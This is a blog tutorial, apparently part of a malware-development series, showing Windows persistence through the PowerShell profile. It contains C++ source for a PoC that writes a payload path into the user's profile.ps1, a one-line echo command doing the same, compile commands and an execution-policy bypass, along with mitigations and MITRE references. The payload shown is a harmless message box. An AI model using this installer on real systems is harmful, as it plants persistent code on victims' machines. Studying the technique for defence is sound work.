1/14 September 20, 2022 Malware development: persistence - part 11. Powershell profile. Simple C++ example. cocomelonc.github.io/malware/2022/09/20/malware-pers-11.html 3 minute read ﷽ Hello, cybersecurity enthusiasts and white hackers! This post is the result of self-researching one of the interesting malware persistence trick: via powershell profile. powershell profile A PowerShell profile is a powershell script that allows system administrators and end users to configure their environment and perform specified commands when a Windows PowerShell session begins. The PowerShell profile script is stored in the folder WindowsPowerShell : https://cocomelonc.github.io/malware/2022/09/20/malware-pers-11.html 2/14 Let’s add the following code to a to the current user’s profile file, that will be performed whenever the infected user enters a powershell console: Z:\2022-09-20-malware-pers-11\hack.exe I will demonstrate everything with a practical example and you will understand everything. practical example Firstly, create our “malicious” file: /* hack.cpp evil app for windows persistence via powershell profile author: @cocomelonc https://cocomelonc.github.io/malware/2022/09/20/malware-pers-11.html */ #include #pragma comment (lib, "user32.lib") int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK); return 0; } As usually it is just “meow-meow” messagebox. Compile it: x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s - ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all- constants -static-libstdc++ -static-libgcc -fpermissive 3/14 And we can run at victim machine for checking correctness: Then we do this simple “trick”: echo Z:\2022-09-20-malware-pers-11\hack.exe > "%HOMEPATH%\Documents\windowspowershell\profile.ps1" And finally, run powershell: powershell -executionpolicy bypass 4/14 win10-x64 (pers-default-file) [Running] - Oracle VM VirtualBox File Machine View Input Devices Help ume in drive C is Wind ume Serial Number is D2A3 Directory of C:\Users\User\Documents \windowspowershell 11:14 AM 11:14 AM ocuments \w 11:16 AM 8 OMe & eB F668 Right ctrl 4/14 5/14 As you can see, our malicious logic executed as expected and powershell is the parent process of our messagebox. =^..^= I created a simple PoC code to automate this process: 6/14 /* pers.cpp windows persistence via Powershell profile author: @cocomelonc https://cocomelonc.github.io/malware/2022/09/20/malware-pers-11.html */ #include #include #include #include int main(int argc, char* argv[]) { char path[MAX_PATH]; char *homepath = getenv("USERPROFILE"); char pspath[] = "\\Documents\\windowspowershell"; char psprofile[] = "\\profile.ps1"; char evil[] = "Z:\\2022-09-20-malware-pers-11\\hack.exe"; DWORD evilLen = (DWORD)strlen(evil); StringCchCopy(path, MAX_PATH, homepath); StringCchCat(path, MAX_PATH, pspath); BOOL wd = CreateDirectoryA(path, NULL); if (wd == FALSE) { printf("unable to create dir: %s\n", path); } else { printf("successfully create dir: %s\n", path); } StringCchCat(path, MAX_PATH, psprofile); HANDLE hf = CreateFile( path, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL ); if (hf == INVALID_HANDLE_VALUE) { printf("unable to create file: %s\n", path); } else { printf("successfully create file: %s\n", path); } BOOL wf = WriteFile(hf, evil, evilLen, NULL, NULL); if (wf == FALSE) { printf("unable to write to file %s\n", path); } else { printf("successfully write to file evil path: %s\n", evil); } 7/14 CloseHandle(hf); return 0; } The logic is simple, this script just create profile folder if not exists, then create profile file and update it. demo Let’s go to see everything in action. Compile our PoC: x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe -I/usr/share/mingw-w64/include/ -s - ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all- constants -static-libstdc++ -static-libgcc -fpermissive And run it on the victim’s machine: .\pers.exe 8/14 win10-x64 (pers-default-file) [Running] - Oracle VM VirtualBox File Machine View Input Devices Help 11 ell\profile.psl s-11\hack.exe 11:09 AM STD GI cere Lal Sore és Ge §\ 66 Right ctrl 8/14 9/14 And when powershell session is started: 10/14 If we check it via Process Hacker: 11/14 powershell.exe is the parent process again as expected. As you can see everything is worked perfectly! =^..^= But there are the caveat. If powershell runned without execution policy bypass mode, this persistence trick not work in my case: 12/14 Also there are four places you can abuse the powershell profile, depending on the privileges you have: $PROFILE | select * 13/14 By storing arbitrary instructions in the profile script, PowerShell profiles present several chances for code execution. To avoid relying on the user to start PowerShell, you may use a scheduled job that executes PowerShell at a certain time. mitigations Enforce execution of only signed PowerShell scripts. Sign profiles to avoid them from being modified. Also you can avoid PowerShell profiles if not needed, for example via -No- Profile flag. This persistence trick is used by Turla in the wild. I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal. https://attack.mitre.org/groups/G0010/ 14/14 Microsoft PowerShell profiles MITRE ATT&CK. Event Triggered Execution: PowerShell Profile Turla source code on github This is a practical case for educational purposes only. Thanks for your time happy hacking and good bye! PS. All drawings and screenshots are mine https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.2 https://attack.mitre.org/techniques/T1546/013/ https://attack.mitre.org/groups/G0010/ https://github.com/cocomelonc/2022-09-20-malware-pers-11